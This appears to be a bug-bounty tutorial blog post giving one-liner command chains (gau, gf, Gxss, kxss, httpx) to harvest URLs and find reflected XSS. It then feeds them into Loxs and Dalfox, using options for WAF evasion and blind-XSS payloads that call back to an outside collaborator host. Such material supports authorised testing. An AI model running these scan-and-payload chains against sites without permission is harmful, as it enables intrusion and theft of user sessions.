How to Find XSS Vulnerabilities in 2 Minutes

The first step is to gather all URLs for the target domain and filter out reflected and unfiltered special characters parameters using a single one-liner command that combines multiple tools.

echo example.com | gau | gf xss | uro | Gxss | kxss | tee xss_output.txt

• GAU: fetches old URLs from passive sources like WaybackURLs, AlienVault, Common Crawl and URLscan.
• GF pattern: filters for URLs with parameters often vulnerable to XSS
• URO: removes duplicate URLs so only unique entries remain.
• Gxss: checks for URLs with parameters which reflect in the response.
• Kxss: identifies URLs with unfiltered special characters useful for XSS execution
• tee: saves output to a file and displays it on the screen simultaneously.

After running this command, you’ll see all URLs with reflected parameters that contain unfiltered characters commonly used in XSS payloads.

The following oneliner adds a content-type filter for HTML, XML, and SVG, removing images, JSON and other noise so your scans checks focus on endpoints where XSS or iframe/HTML-injection payloads can execute.

echo https://domain.com | gau | gf xss | httpx -ct -silent -nc | grep -i -E "text/html|application/xhtml+xml|application/xml|text/xml|image/svg+xml|application/html|application/xml" | cut -d '[' -f 1 | Gxss | kxss

After opening xss_output.txt, you’ll see the raw results, but they include some noisy entries. To improve this, run the command below.

cat xss_output.txt | grep -oP '^URL: \K\S+' | sed 's/=.*/=/' | sort -u > final.txt

What this command does: it grabs just the URLs, strips off the parameter values (so page.php?id=123 becomes page.php?id=), sorts everything, and removes duplicates. The tidy list ends up in final.txt.

At this point you know the vulnerable urls. Do manual inspection or continue as below

Use the Loxs tool to automate the verification and reporting steps.

1. Move the final.txt file into your Loxs tool directory.
2. Run the tool and select option 4 for XSS scanning.
3. When prompted, provide the path to your target list (final.txt) and a file containing your desired XSS payloads.

Now Loxs will go through each URL and test all payloads one by one. If it finds any XSS, it will print the confirmed vulnerable URL in the terminal. Copy any of those links into a browser to reproduce and confirm the XSS popup. Let the scan finish and it will generate a neat HTML report summarizing all findings.

Checkout Loxs: https://github.com/coffinxp/loxs?source=post_page—–d14b63d000b1—————————————

Dalfox is another excellent XSS testing tool. flexible, fast and perfect for automation. Just pipe same output straight into Dalfox using the same one‑liner, and it will test payloads across thousands of endpoints. Below I’ve included my favorite Dalfox piping commands.

# 1) use remote payload lists
echo testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --skip-mining-dom --remote-payloads=portswigger,payloadbox
# → Pipes URLs into dalfox and fuzzes using remote lists (portswigger, payloadbox). Minimal noise, no auto-mining/grepping.

# 2) use local custom payloads
echo testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --skip-mining-dom --custom-payload yourpayloads.txt
# → Same as above but uses yourpayloads.txt from disk instead of remote lists.

# 3) WAF evasion (adjusts speed when WAF detected)
echo testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --skip-mining-dom --waf-evasion
# → Enables WAF evasion; Dalfox will slow down (example behavior: worker=1, delay=3s) when it detects WAF-like responses to improve bypass chances while using default payloads.

# 4) deep DOM XSS scanning
echo testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --deep-domxss
# → Runs a deeper DOM-focused XSS analysis (more thorough client-side checks), while skipping other auto-mining.

# 5) blind XSS callback
echo testphp.vulnweb.com | gau | gf params | uro | Gxss | dalfox pipe --skip-bav --skip-mining-all --skip-grepping --blind xss.report/c/coffinxp
# → Sends blind XSS payloads that call the provided collaborator URL so you can catch out‑of‑band callbacks.

Checkout Dalfox: https://github.com/hahwul/dalfox?source=post_page—–d14b63d000b1—————————————